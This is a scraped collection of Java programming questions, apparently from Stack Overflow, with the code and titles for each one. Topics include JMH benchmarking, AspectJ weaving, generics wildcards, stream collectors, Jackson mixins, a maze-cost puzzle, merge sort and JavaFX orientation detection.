; } public static void main ( String [ ] args ) throws RunnerException { Options opt = new OptionsBuilder ( ) .include ( MyBenchmark.class.getSimpleName ( ) ) .forks ( 1 ) .build ( ) ; new Runner ( opt ) .run ( ) ; } } # JMH 1.13 ( released 8 days ago ) # VM version : JDK 1.8.0_102 , VM 25.102-b14 # VM invoker : C : \Program Files\Java\jdk1.8.0_102\jre\bin\java.exe # VM options : -ea # Warmup : 20 iterations , 1 s each # Measurement : 20 iterations , 1 s each # Timeout : 10 min per iteration # Threads : 1 thread , will synchronize iterations # Benchmark mode : Average time , time/op # Benchmark : com.mycompany.jmh.MyBenchmark.assertMethod # Run progress : 0.00 % complete , ETA 00:01:20 # Fork : 1 of 1 # Warmup Iteration 1 : 8.268 ns/op # Warmup Iteration 2 : 6.082 ns/op # Warmup Iteration 3 : 4.846 ns/op # Warmup Iteration 4 : 4.854 ns/op # Warmup Iteration 5 : 4.834 ns/op # Warmup Iteration 6 : 4.831 ns/op # Warmup Iteration 7 : 4.815 ns/op # Warmup Iteration 8 : 4.839 ns/op # Warmup Iteration 9 : 4.825 ns/op # Warmup Iteration 10 : 4.812 ns/op # Warmup Iteration 11 : 4.806 ns/op # Warmup Iteration 12 : 4.805 ns/op # Warmup Iteration 13 : 4.802 ns/op # Warmup Iteration 14 : 4.813 ns/op # Warmup Iteration 15 : 4.805 ns/op # Warmup Iteration 16 : 4.818 ns/op # Warmup Iteration 17 : 4.815 ns/op # Warmup Iteration 18 : 4.817 ns/op # Warmup Iteration 19 : 4.812 ns/op # Warmup Iteration 20 : 4.810 ns/opIteration 1 : 4.805 ns/opIteration 2 : 4.816 ns/opIteration 3 : 4.813 ns/opIteration 4 : 4.938 ns/opIteration 5 : 5.061 ns/opIteration 6 : 5.129 ns/opIteration 7 : 4.828 ns/opIteration 8 : 4.837 ns/opIteration 9 : 4.819 ns/opIteration 10 : 4.815 ns/opIteration 11 : 4.872 ns/opIteration 12 : 4.806 ns/opIteration 13 : 4.811 ns/opIteration 14 : 4.827 ns/opIteration 15 : 4.837 ns/opIteration 16 : 4.842 ns/opIteration 17 : 4.812 ns/opIteration 18 : 4.809 ns/opIteration 19 : 4.806 ns/opIteration 20 : 4.815 ns/opResult `` assertMethod '' : 4.855 � ( 99.9 % ) 0.077 ns/op [ Average ] ( min , avg , max ) = ( 4.805 , 4.855 , 5.129 ) , stdev = 0.088 CI ( 99.9 % ) : [ 4.778 , 4.932 ] ( assumes normal distribution ) # JMH 1.13 ( released 8 days ago ) # VM version : JDK 1.8.0_102 , VM 25.102-b14 # VM invoker : C : \Program Files\Java\jdk1.8.0_102\jre\bin\java.exe # VM options : -ea # Warmup : 20 iterations , 1 s each # Measurement : 20 iterations , 1 s each # Timeout : 10 min per iteration # Threads : 1 thread , will synchronize iterations # Benchmark mode : Average time , time/op # Benchmark : com.mycompany.jmh.MyBenchmark.requireMethod # Run progress : 50.00 % complete , ETA 00:00:40 # Fork : 1 of 1 # Warmup Iteration 1 : 7.193 ns/op # Warmup Iteration 2 : 4.835 ns/op # Warmup Iteration 3 : 5.039 ns/op # Warmup Iteration 4 : 5.053 ns/op # Warmup Iteration 5 : 5.077 ns/op # Warmup Iteration 6 : 5.102 ns/op # Warmup Iteration 7 : 5.088 ns/op # Warmup Iteration 8 : 5.109 ns/op # Warmup Iteration 9 : 5.096 ns/op # Warmup Iteration 10 : 5.096 ns/op # Warmup Iteration 11 : 5.091 ns/op # Warmup Iteration 12 : 5.089 ns/op # Warmup Iteration 13 : 5.099 ns/op # Warmup Iteration 14 : 5.097 ns/op # Warmup Iteration 15 : 5.090 ns/op # Warmup Iteration 16 : 5.096 ns/op # Warmup Iteration 17 : 5.088 ns/op # Warmup Iteration 18 : 5.086 ns/op # Warmup Iteration 19 : 5.087 ns/op # Warmup Iteration 20 : 5.097 ns/opIteration 1 : 5.097 ns/opIteration 2 : 5.088 ns/opIteration 3 : 5.092 ns/opIteration 4 : 5.097 ns/opIteration 5 : 5.082 ns/opIteration 6 : 5.089 ns/opIteration 7 : 5.086 ns/opIteration 8 : 5.084 ns/opIteration 9 : 5.090 ns/opIteration 10 : 5.086 ns/opIteration 11 : 5.084 ns/opIteration 12 : 5.088 ns/opIteration 13 : 5.091 ns/opIteration 14 : 5.092 ns/opIteration 15 : 5.085 ns/opIteration 16 : 5.096 ns/opIteration 17 : 5.078 ns/opIteration 18 : 5.125 ns/opIteration 19 : 5.089 ns/opIteration 20 : 5.091 ns/opResult `` requireMethod '' : 5.091 � ( 99.9 % ) 0.008 ns/op [ Average ] ( min , avg , max ) = ( 5.078 , 5.091 , 5.125 ) , stdev = 0.010 CI ( 99.9 % ) : [ 5.082 , 5.099 ] ( assumes normal distribution ) # Run complete . Total time : 00:01:21Benchmark Mode Cnt Score Error UnitsMyBenchmark.assertMethod avgt 20 4.855 � 0.077 ns/opMyBenchmark.requireMethod avgt 20 5.091 � 0.008 ns/op < dependency > < groupId > org.bitbucket.cowwoc < /groupId > < artifactId > requirements < /artifactId > < version > 2.0.0 < /version > < /dependency > Benchmark Mode Cnt Score Error UnitsMyBenchmark.assertMethod avgt 60 22.552 ± 0.020 ns/opMyBenchmark.requireMethod avgt 60 22.411 ± 0.114 ns/op",jmh indicates that M1 is faster than M2 but M1 delegates to M2 +Java,"i have a Java EE Webservice ( REST ) and would now like to use AspectJ , to create a rule that will print-out every incoming service call and their params.I just read this tutorial and implemented the following code : POM.XML ... and created a Test.aj File , with a Pointcut which should print-out a teststring after calling the getSignOfLife ( ) : -- > But nothing happens if i call the getSignOfLife ( ) Method . Can you help me ?",< dependency > < groupId > org.aspectj < /groupId > < artifactId > aspectjrt < /artifactId > < version > 1.8.10 < /version > < /dependency > < dependency > < groupId > org.aspectj < /groupId > < artifactId > aspectjweaver < /artifactId > < version > 1.8.10 < /version > < /dependency > < /dependencies > < build > < plugins > < plugin > < groupId > org.codehaus.mojo < /groupId > < artifactId > aspectj-maven-plugin < /artifactId > < version > 1.7 < /version > < configuration > < complianceLevel > 1.8 < /complianceLevel > < source > 1.8 < /source > < target > 1.8 < /target > < showWeaveInfo > true < /showWeaveInfo > < verbose > true < /verbose > < Xlint > ignore < /Xlint > < encoding > UTF-8 < /encoding > < /configuration > < executions > < execution > < goals > < ! -- use this goal to weave all your main classes -- > < goal > compile < /goal > < ! -- use this goal to weave all your test classes -- > < goal > test-compile < /goal > < /goals > < /execution > < /executions > < /plugin > < /plugins > import de.jack.businesspartner.service.BusinessPartnerServiceImpl ; public aspect TestAspectJ { pointcut getSignOfLife ( ) : call ( void BusinessPartnerServiceImpl.getSignOfLife ( ) ) ; before ( ) : getSignOfLife ( ) { System.err.println ( `` ADKL TEST ASPECT '' ) ; } },Add AspectJ in Webservice +Java,"Why does the first method compile , and the second not ? The generics for Set and ImmutableSet.Builder are the same , and the type signatures for their add methods are also the same.I am using javac version 1.7.0_25 to build . I get the following error on the second method , but not on the first . I believe I should get the error in both cases , as it is not type correct to put a Number into a collection of ? extends Number .",import java.util.Set ; import java.util.HashSet ; import com.google.common.collect.ImmutableSet ; public class F { public static ImmutableSet < ? extends Number > testImmutableSetBuilder ( ) { ImmutableSet.Builder < ? extends Number > builder = ImmutableSet.builder ( ) ; Number n = Integer.valueOf ( 4 ) ; builder.add ( n ) ; return builder.build ( ) ; } public static Set < ? extends Number > testJavaSet ( ) { Set < ? extends Number > builder = new HashSet < Number > ( ) ; Number n = Integer.valueOf ( 4 ) ; builder.add ( n ) ; return builder ; } } error : no suitable method found for add ( Number ) builder.add ( n ) ; ^ method Set.add ( CAP # 1 ) is not applicable ( actual argument Number can not be converted to CAP # 1 by method invocation conversion ) where CAP # 1 is a fresh type-variable : CAP # 1 extends Number from capture of ? extends Number,Java generics inconsistent behavior ? +Java,"I would like to build a Map using the Stream & Lambda couple.I 've tried many ways but I 'm stucked . Here 's the classic Java code to do it using both Stream/Lambda and classic loops.As you can see , I only know how to collect in a list , but I just ca n't do the same with a map . That 's why I have to stream my list again to build a second list to , finally , put all together in a map.I 've also tried the 'collect.groupingBy ' statement as it should too produce a map , but I failed .","Map < Entity , List < Funder > > initMap = new HashMap < > ( ) ; List < Entity > entities = pprsToBeApproved.stream ( ) .map ( fr - > fr.getBuyerIdentification ( ) .getBuyer ( ) .getEntity ( ) ) .distinct ( ) .collect ( Collectors.toList ( ) ) ; for ( Entity entity : entities ) { List < Funder > funders = pprsToBeApproved.stream ( ) .filter ( fr - > fr.getBuyerIdentification ( ) .getBuyer ( ) .getEntity ( ) .equals ( entity ) ) .map ( fr - > fr.getDocuments ( ) .get ( 0 ) .getFunder ( ) ) .distinct ( ) .collect ( Collectors.toList ( ) ) ; initMap.put ( entity , funders ) ; }",Lambda & Stream : collect in a Map +Java,"I 'm developing a web application with Eclipse 4.4.2 , Maven and Tomcat v7.0 . The application consists of a AppSuite ( < packaging > pom < /packaging > ) AppModel ( < packaging > jar < /packaging > , has some auto-generated classes ) AppUserInterface ( < packaging > war < /packaging > , depends on AppModel ) AppUserInterface and AppModel are modules of the AppSuite.The issue I 'm currently facing is that if I have all three projects opened in Eclipse and I try to run the AppUserInterface on the server , everything gets moved to the tomcat webapps folder correctly ( *.class files of the AppUserInterface and all the libs including AppModel.jar ) but tomcat throws an exceptionBut If I close the project AppModel in eclipse everything runs fine when I run AppUserInterface on the server.I suspect that eclipse becomes confused If AppUserInterface shall work with the local AppModel . Any thoughts to resolve this error , so that I can have all three projects open at the same time and still run AppUserInterface ? EDIT : The java.lang.NoClassDefFoundError : com/app/model/ClassName class is not an auto-generated class .",java.lang.NoClassDefFoundError : com/app/model/ClassName,Web project does n't run on server if a dependent project is opened in eclipse +Java,"I have a method , that accepts int [ ] parameter . I want to pass it an array of shorts . But all I get is `` incompatible types : short [ ] can not be converted to int [ ] '' . Why is that ? an example : As far as I know , short to int is just widening , so it should be typecasted automatically , should n't it ? How to pass it then ? Thanks .",short [ ] arr = new short [ 2 ] ; arr [ 0 ] = 8 ; arr [ 1 ] =9 ; example ( arr ) ; example ( int [ ] anArray ) { },Why ca n't I pass in java an array of short to method accepting array of int ? +Java,"Say that I initialize an Array somewhat like this : Is it guaranteed that the elements will be always inserted in the same order I 've typed on the initialization ? E.g . : 100,200,300,400,500,600,700 , ... ,1000 ?","int [ ] anArray = { 100 , 200 , 300 , 400 , 500 , 600 , 700 , 800 , 900 , 1000 } ;",Does an initialized Array retain its order ? +Java,"I am writing a JavaFX application for Microsoft Surface and I am looking for a way to detect a screen orientation change when rotating the device from portrait to landscape and vice versa . The current method I am using to detect the screen orientation is as follows : This method works fine for manual window resizing . However , the orientation change ( device rotation ) does not trigger a window resize event , so the method to change the layout will not fire automatically.What is the proper way to detect the screen orientation change without listening for resizing event ?","window.widthProperty ( ) .addListener ( ( obs , oldVal , newVal ) - > { if ( ( double ) newVal < window.getHeight ( ) ) { setPortraitMode ( ) ; } else { setLandscapeMode ( ) ; } } ) ;",How to detect screen orientation change ? - JavaFX on Microsoft Surface +Java,"I 'd like to be able to deserialize an UnmodifiableSet with default typing enabled . To do this I have created an UnmodifiableSetMixin as shown below : NOTE : You can find a minimal project with all the source code to reproduce this issue at https : //github.com/rwinch/jackson-unmodifiableset-mixinI then try to use this to deserialize an empty set.The test passes with Jackson 2.6 , but fails using Jackson 2.7+ with the following stack trace : Can anyone help me fix the test for Jackson 2.7+ ( I 'd like it to work for Jackson 2.8.3 ) ?","import com.fasterxml.jackson.annotation.JsonCreator ; import com.fasterxml.jackson.annotation.JsonTypeInfo ; import java.util.Set ; @ JsonTypeInfo ( use = JsonTypeInfo.Id.CLASS , include = JsonTypeInfo.As.PROPERTY ) public abstract class UnmodifiableSetMixin { @ JsonCreator public UnmodifiableSetMixin ( Set < ? > s ) { } } public class UnmodifiableSetMixinTest { static final String EXPECTED_JSON = `` [ \ '' java.util.Collections $ UnmodifiableSet\ '' , [ ] ] '' ; ObjectMapper mapper ; @ Before public void setup ( ) { mapper = new ObjectMapper ( ) ; mapper.enableDefaultTyping ( ObjectMapper.DefaultTyping.NON_FINAL , JsonTypeInfo.As.PROPERTY ) ; mapper.addMixIn ( Collections.unmodifiableSet ( Collections. < String > emptySet ( ) ) .getClass ( ) , UnmodifiableSetMixin.class ) ; } @ Test @ SuppressWarnings ( `` unchecked '' ) public void read ( ) throws Exception { Set < String > foo = mapper.readValue ( EXPECTED_JSON , Set.class ) ; assertThat ( foo ) .isEmpty ( ) ; } } java.lang.IllegalStateException : No default constructor for [ collection type ; class java.util.Collections $ UnmodifiableSet , contains [ simple type , class java.lang.Object ] ] at com.fasterxml.jackson.databind.deser.std.StdValueInstantiator.createUsingDefault ( StdValueInstantiator.java:240 ) at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize ( CollectionDeserializer.java:249 ) at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize ( CollectionDeserializer.java:26 ) at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize ( AsArrayTypeDeserializer.java:110 ) at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromArray ( AsArrayTypeDeserializer.java:50 ) at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserializeWithType ( CollectionDeserializer.java:310 ) at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize ( TypeWrappedDeserializer.java:42 ) at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose ( ObjectMapper.java:3788 ) at com.fasterxml.jackson.databind.ObjectMapper.readValue ( ObjectMapper.java:2779 ) at sample.UnmodifiableSetMixinTest.read ( UnmodifiableSetMixinTest.java:36 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.junit.runners.model.FrameworkMethod $ 1.runReflectiveCall ( FrameworkMethod.java:50 ) at org.junit.internal.runners.model.ReflectiveCallable.run ( ReflectiveCallable.java:12 ) at org.junit.runners.model.FrameworkMethod.invokeExplosively ( FrameworkMethod.java:47 ) at org.junit.internal.runners.statements.InvokeMethod.evaluate ( InvokeMethod.java:17 ) at org.junit.internal.runners.statements.RunBefores.evaluate ( RunBefores.java:26 ) at org.junit.runners.ParentRunner.runLeaf ( ParentRunner.java:325 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:78 ) at org.junit.runners.BlockJUnit4ClassRunner.runChild ( BlockJUnit4ClassRunner.java:57 ) at org.junit.runners.ParentRunner $ 3.run ( ParentRunner.java:290 ) at org.junit.runners.ParentRunner $ 1.schedule ( ParentRunner.java:71 ) at org.junit.runners.ParentRunner.runChildren ( ParentRunner.java:288 ) at org.junit.runners.ParentRunner.access $ 000 ( ParentRunner.java:58 ) at org.junit.runners.ParentRunner $ 2.evaluate ( ParentRunner.java:268 ) at org.junit.runners.ParentRunner.run ( ParentRunner.java:363 ) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run ( JUnit4TestReference.java:86 ) at org.eclipse.jdt.internal.junit.runner.TestExecution.run ( TestExecution.java:38 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:459 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests ( RemoteTestRunner.java:678 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run ( RemoteTestRunner.java:382 ) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main ( RemoteTestRunner.java:192 )",Custom UnmodifiableSetMixin Fails in Jackson 2.7+ +Java,So I am trying to download and load an object from a file stored on a webserver . The code I use is inside a try-catch block in an AsyncTask : I build the file with this code : When I try and read the object in the first piece of code I get an IOExecption that the UTF Data Format does not match UTF-8 . I have tried re-building the file a couple of times and it always gives me the same error . Can I download an Object like this ?,URL url = new URL ( `` http : //www.mydomain.com/thefileIwant '' ) ; URLConnection urlConn = url.openConnection ( ) ; ObjectInputStream ois = new ObjectInputStream ( urlConn.getInputStream ( ) ) ; foo = ( Foo ) ois.readObject ( ) ; ois.close ( ) ; ObjectOutputStream oos = new ObjectOutputStream ( new FileOutputStream ( `` thefileIwant '' ) ) ; oos.writeObject ( foo ) ; oos.close ( ) ;,Android : Download Object +Java,"It was asked me in an interview.you have given a m*n matrix filled with `` 1 '' and `` 0 '' . `` 1 '' means you can use the cell and `` 0 '' means the cell is blocked.you can move in 4 directions left , right , top , bottom.every time you move upward direction or downward it cost you 1 $ .moving left or right will not be added to cost.so you have to write a code to check whether one can reach to destination index ( x , y ) starting from ( 0,0 ) . If yes then print the minimum cost if no then print `` -1 '' .I am not able to calculate the cost.Here is my code","public class Test { /** * @ param args the command line arguments */ static int dest_x = 0 ; static int dest_y = 0 ; static int cost = 0 ; static int m = 0 ; static int n = 0 ; public static void main ( String [ ] args ) { // TODO code application logic here Scanner in = new Scanner ( System.in ) ; Test rat = new Test ( ) ; int maze [ ] [ ] = { { 1 , 1 , 1 , 1 } , { 1 , 1 , 1 , 0 } , { 1 , 1 , 1 , 1 } , { 0 , 0 , 1 , 1 } } ; dest_x = in.nextInt ( ) ; dest_y = in.nextInt ( ) ; m = in.nextInt ( ) ; n = in.nextInt ( ) ; if ( rat.solveMaze ( maze ) ) System.out.println ( `` YES '' ) ; else { System.out.println ( `` NO '' ) ; } System.out.println ( `` cost = `` + cost ) ; } boolean isSafe ( int maze [ ] [ ] , int x , int y ) { // if ( x , y outside maze ) return false return ( x > = 0 & & x < m & & y > = 0 & & y < n & & maze [ x ] [ y ] == 1 ) ; } boolean solveMaze ( int maze [ ] [ ] ) { int sol [ ] [ ] = { { 0 , 0 , 0 , 0 } , { 0 , 0 , 0 , 0 } , { 0 , 0 , 0 , 0 } , { 0 , 0 , 0 , 0 } } ; if ( ! solveMazeUtil ( maze , 0 , 0 , sol ) ) { return false ; } return true ; } boolean solveMazeUtil ( int maze [ ] [ ] , int x , int y , int sol [ ] [ ] ) { // if ( x , y is goal ) return true if ( x < = dest_x || y < = dest_y ) if ( x == dest_x & & y == dest_y ) { sol [ x ] [ y ] = 1 ; return true ; } else if ( sol [ x ] [ y ] == 1 ) { return false ; } // Check if maze [ x ] [ y ] is valid else if ( isSafe ( maze , x , y ) ) { // mark x , y as part of solution path sol [ x ] [ y ] = 1 ; // Move forward in x direction if ( solveMazeUtil ( maze , x + 1 , y , sol ) ) { //System.out.println ( `` here at x+1 x = `` + x + `` y = `` + y ) ; return true ; } // Move down in y direction if ( solveMazeUtil ( maze , x , y + 1 , sol ) ) { //System.out.println ( `` here at y+1 x = `` + x + `` y = `` + y ) ; cost++ ; return true ; } cost -- ; if ( solveMazeUtil ( maze , x - 1 , y , sol ) ) { // System.out.println ( `` here at x-1 x = `` + x + `` y = `` + y ) ; return true ; } if ( solveMazeUtil ( maze , x , y - 1 , sol ) ) { //System.out.println ( `` here at y-1 x = `` + x + `` y = `` + y ) ; cost++ ; return true ; } cost -- ; /* If no solution then BACKTRACK : unmark x , y as part of solution path */ sol [ x ] [ y ] = 0 ; return false ; } return false ; } }",Modified rat in a maze +Java,"This is n't a JavaFX question , but I 'm trying to write an interface in JavaFX that declares a class to be Viewable . Viewable classes are meant to have a view ( ) method that returns a Node object representing that Viewable . Simple so far , but here 's where it gets complicated . The returned Node should be guaranteed to have a getViewable ( ) method that returns the Viewable object it represents . How do I accomplish this ? My first instinct was to try something like this : Which at first appears sound , and allows classes like the following : However , for some reason , this class also compiles : Pane is a Node , but it does not implement View , so why does this class compile ? I would think this is violating the contract of the view ( ) method . Even stranger , the same class fails to compile when Pane is replaced with Object : What 's going on here ? Is there a flaw in my understanding of generics ? How can I get this to work as intended ?",interface Viewable < V extends Viewable < V > > { < N extends Node & View < V > > N view ( ) ; } interface View < V extends Viewable < V > > { V getViewable ( ) ; } class ViewableObject implements Viewable < ViewableObject > { @ Override public ObjectView view ( ) { return new ObjectView ( ) ; } class ObjectView extends Pane implements View < ViewableObject > { @ Override public ViewableObject getViewable ( ) { return ViewableObject.this ; } } } class ViewableObject implements Viewable < ViewableObject > { @ Override public Pane view ( ) { return new Pane ( ) ; } } class ViewableObject implements Viewable < ViewableObject > { @ Override public Object view ( ) { //complains this is not an @ Override return new Object ( ) ; } },Enforcing Multiple Generic Bounds in Java Return Type +Java,"The code works but I 'm having trouble to understand it.I understand the purpose of but I do not know what happens when return is executed.I do not understand why the last else in the merge function exists . If the algorithm is splitting up until aux is [ 3,5 ] and I want to sort ascending , the else if will compare 5 < 3 which will jump to the else and it should exchange the 2 values . Edit : I played a bit with the debugger and for this example ( 3 33 1 55 66 34 67 45 23 ) it reaches the merge function with the first 2 values . The last else if compares 33 < 3 and enters the last else .If these values are in the correct order what is the point of this line of code ? After array [ k ] = aux [ i++ ] ; is executed the value of array [ 0 ] is the same which is odd because aux [ i++ ] is array [ 1 ]","private void merge ( int [ ] array , int [ ] aux , int low , int mid , int hi ) { int i = low , j = mid + 1 , k ; for ( k = low ; k < = hi ; k++ ) { aux [ k ] = array [ k ] ; } for ( k = low ; k < = hi ; k++ ) { if ( i > mid ) { array [ k ] = aux [ j++ ] ; } else if ( j > hi ) { array [ k ] = aux [ i++ ] ; } else if ( aux [ j ] < aux [ i ] ) { array [ k ] = aux [ j++ ] ; } else /* if ( aux [ i ] < = aux [ j ] */ { array [ k ] = aux [ i++ ] ; } } } private void sort ( int [ ] array , int [ ] aux , int lo , int hi ) { if ( hi < = lo ) { return ; } int mid = lo + ( hi - lo ) / 2 ; sort ( array , aux , lo , mid ) ; sort ( array , aux , mid + 1 , hi ) ; merge ( array , aux , lo , mid , hi ) ; } public void mergeSort ( ) { int aux [ ] = new int [ n ] ; sort ( ar , aux , 0 , n - 1 ) ; } if ( hi < = lo ) { return ; }",Understanding how merge sort works +Java,I always get results similar to this 7806 660 517 . Why the first call takes 10 times more time than other ones ?,class testx { public testx ( ) { long startTime = System.nanoTime ( ) ; System.out.println ( ( System.nanoTime ( ) - startTime ) ) ; } public static void main ( String args [ ] ) { new testx ( ) ; new testx ( ) ; new testx ( ) ; } },Why the first call to constructor takes 10 times more time than other ones ? +Java,"I have the following string as input : Final output will be like : i.e . all leading and trailing zeros will be removed and both positive/negative zeros will be simply zero.We can achieve this by split the string first and using Regex for each part . But my string size is more than 10000 . How can we achieve this using Regex ? Edit : Analysis of Answers : I have tested all answers with String `` 0.00 , -0.00,00.00 , -00.00,40.00 , -40.00,4.0 , -4.0,4.01 , -4.01,04.01 , -04.01,004.04 , -004.04,0004.040 , -0004.040,101 , .40 , -.40,0.40 , -0.40 '' and answer from Wiktor Stribiżew passed all the test cases . ( see here : https : //regex101.com/r/tS8hE3/9 ) Other answers were passed on most of the cases but not all .","`` 2.0,3.00 , -4.0,0.00 , -0.00,0.03,2.01,0.001 , -0.03,101 '' `` 2,3 , -4,0,0 , .03,2.01 , .001 , -.03,101 ''",Android/Java Regex to remove extra zeros from sub-strings +Java,"I just read this code following : Does this do the same thing as If not , what 's the difference between them ? And what is the first way trying to do here ?","byte [ ] bts = { 8 , 0 , 0 , 0 } ; if ( ( bts [ i ] & 0x01 ) == 0x01 ) if ( bts [ i ] == 0x01 )",bitwise AND in java with operator `` & '' +Java,"I 'm sending MapMessages in Java to ActiveMQ and retrieving them using Stomp in PHP . My message creation code looks like this : When I retrieve them in PHP , the array that 's created looks like this : What am I supposed to do with that ? Is there a way to convince Stomp to unserialize it in a reasonable manner or is there some PHP incantation make accessing this array less painful ? In particular , I ca n't just iterate through the entries and build an associative array because the array looks completely different if there is a string & int as opposed to two strings .","MapMessage message = session.createMapMessage ( ) ; message.setInt ( `` id '' , 42 ) ; message.setInt ( `` status '' , 42 ) ; message.setString ( `` result '' , `` aString '' ) ; Array ( [ map ] = > Array ( [ 0 ] = > Array ( [ entry ] = > Array ( [ 0 ] = > Array ( [ string ] = > id [ int ] = > 42 ) [ 1 ] = > Array ( [ string ] = > status [ int ] = > 42 ) [ 2 ] = > Array ( [ string ] = > Array ( [ 0 ] = > result [ 1 ] = > aString ) ) ) ) ) )",Is Stomp 's MessageMap format completely unusable ? +Java,I came across this method in the JDKFrom com.sun.org.apache.xml.internal.serializer.Version ; Is this doing anything more than return 0 ? I feel like I am missing something . I can only assume this is generated code . ; ),public static int getDevelopmentVersionNum ( ) { try { if ( ( new String ( `` '' ) ) .length ( ) == 0 ) return 0 ; else return Integer.parseInt ( `` '' ) ; } catch ( NumberFormatException nfe ) { return 0 ; } },Does this method from the JDK make sense to anyone ? +Java,"If I run the following on OS X Sierra ( JDK 8u111 ) , it takes 5 seconds to run ( as opposed to milliseconds on e.g . Linux ) : This is causing a massive slowdown of a library that I use , whose newer versions call this bit of the management API . My first thought is that it 's a DNS issue ( the computer is on a local home NAT ) but my attempt to resolve either my local hostname or my local IP address in the shell returns an ( NXDOMAIN ) answer instantly . Running dtruss on the Java process produced constant repetition of these lines for the duration of the 5 second lag : What is going on here and what can I do to unblock this bottleneck ?","import java.lang.management.ManagementFactory ; import java.lang.management.RuntimeMXBean ; public class BeanTest { public static void main ( String [ ] args ) { RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean ( ) ; System.out.println ( bean.getName ( ) ) ; } } 782/0x36f5 : psynch_cvwait ( 0x7FEE4170B968 , 0x20100000300 , 0x200 ) = -1 Err # 316 782/0x36f5 : gettimeofday ( 0x7000039B4938 , 0x0 , 0x0 ) = 0 0",RuntimeMXBean.getName ( ) hangs on Mac OS X Sierra - how to fix ? +Java,"The way my teacher writes and organizes code is very different than what is proposed in my supplementary textbook . In a recent lab , we were required to use the wheels library to display several objects in a single window . Here is the Snowman class that was written by my teacher ( code for other objects have not been included for convenience ) : This object , among others , is later instantiated in the SnowmanCartoon class : Here are my concerns : In both of these classes , why is there a method of the same name as the class , and what is its purpose ? Why is the method setLocation ( ) a void method while the method Snowman ( ) is not , even though Snowman ( ) does not return anything ? In the SnowmanCartoon class , when it says private Snowman _snowman ; and _snowman = new Snowman ( ) ; , is Snowman referring to the Snowman class , or rather the Snowman ( ) method ? If the instantiation of the Snowman object is referring to the Snowman ( ) method to set all of its properties , why do n't I need to use the dot operator : Snowman.Snowman ( ) ? In my textbook , instance variables and methods are declared in a one class and are instantiated in another . However , they seem to occur simultaneously in my teacher 's code .","public class Snowman { private Ellipse _top ; private Ellipse _middle ; private Ellipse _bottom ; public Snowman ( ) { _top = new Ellipse ( ) ; _top.setColor ( Color.WHITE ) ; _top.setFrameColor ( Color.BLACK ) ; _top.setFrameThickness ( 1 ) ; _top.setSize ( 80 , 80 ) ; _middle = new Ellipse ( ) ; _middle.setColor ( Color.WHITE ) ; _middle.setFrameColor ( Color.BLACK ) ; _middle.setFrameThickness ( 1 ) ; _middle.setSize ( 120 , 120 ) ; _bottom = new Ellipse ( ) ; _bottom.setColor ( Color.WHITE ) ; _bottom.setFrameColor ( Color.BLACK ) ; _bottom.setFrameThickness ( 1 ) ; _bottom.setSize ( 160 , 160 ) ; } public void setLocation ( int x , int y ) { _top.setLocation ( x + 40 , y - 170 ) ; _middle.setLocation ( x + 20 , y - 100 ) ; _bottom.setLocation ( x , y ) ; } } public class SnowmanCartoon extends Frame { private Snowman _snowman ; private Eyes _eyes ; private Hat _hat ; private Bubble _bubble ; public SnowmanCartoon ( ) { _snowman = new Snowman ( ) ; _snowman.setLocation ( 100 , 300 ) ; _eyes = new Eyes ( ) ; _eyes.setLocation ( 165 , 150 ) ; _hat = new Hat ( ) ; _hat.setLocation ( 152 , 98 ) ; _bubble = new Bubble ( ) ; _bubble.setLocation ( 280 , 60 ) ; } public static void main ( String [ ] args ) { new SnowmanCartoon ( ) ; } }",What is the proper usage of a constructor when instantiating in the main class ? +Java,"When playing around with multithreading , I could observe some unexpected but serious performance issues related to AtomicLong ( and classes using it , such as java.util.Random ) , for which I currently have no explanation . However , I created a minimalistic example , which basically consists of two classes : a class `` Container '' , which keeps a reference to a volatile variable , and a class `` DemoThread '' , which operates on an instance of `` Container '' during thread execution . Note that the references to `` Container '' and the volatile long are private , and never shared between threads ( I know that there 's no need to use volatile here , it 's just for demonstration purposes ) - thus , multiple instances of `` DemoThread '' should run perfectly parallel on a multiprocessor machine , but for some reason , they do not ( Complete example is at the bottom of this post ) .During my test , I repeatedly create 4 DemoThreads , which are then started and joined . The only difference in each loop is the time when `` prepare ( ) '' gets called ( which is obviously required for the thread to run , as it otherwise would result in a NullPointerException ) : For some reason , if prepare ( ) is executed immediately before starting the thread , it will take twice as more time to finish , and even without the `` volatile '' keyword , the performance differences were significant , at least on two of the machines and OS'es I tested the code . Here 's a short summary : Mac OS Summary : Java Version : 1.6.0_24Java Class Version : 50.0VM Vendor : Sun Microsystems Inc.VM Version : 19.1-b02-334VM Name : Java HotSpot ( TM ) 64-Bit Server VMOS Name : Mac OS XOS Arch : x86_64OS Version : 10.6.5Processors/Cores : 8 With volatile keyword : Final results:31979 ms. when prepare ( ) was called after instantiation.96482 ms. when prepare ( ) was called before execution . Without volatile keyword : Final results:26009 ms. when prepare ( ) was called after instantiation.35196 ms. when prepare ( ) was called before execution . Windows Summary : Java Version : 1.6.0_24Java Class Version : 50.0VM Vendor : Sun Microsystems Inc.VM Version : 19.1-b02VM Name : Java HotSpot ( TM ) 64-Bit Server VMOS Name : Windows 7OS Arch : amd64OS Version : 6.1Processors/Cores : 4 With volatile keyword : Final results:18120 ms. when prepare ( ) was called after instantiation.36089 ms. when prepare ( ) was called before execution . Without volatile keyword : Final results:10115 ms. when prepare ( ) was called after instantiation.10039 ms. when prepare ( ) was called before execution . Linux Summary : Java Version : 1.6.0_20Java Class Version : 50.0VM Vendor : Sun 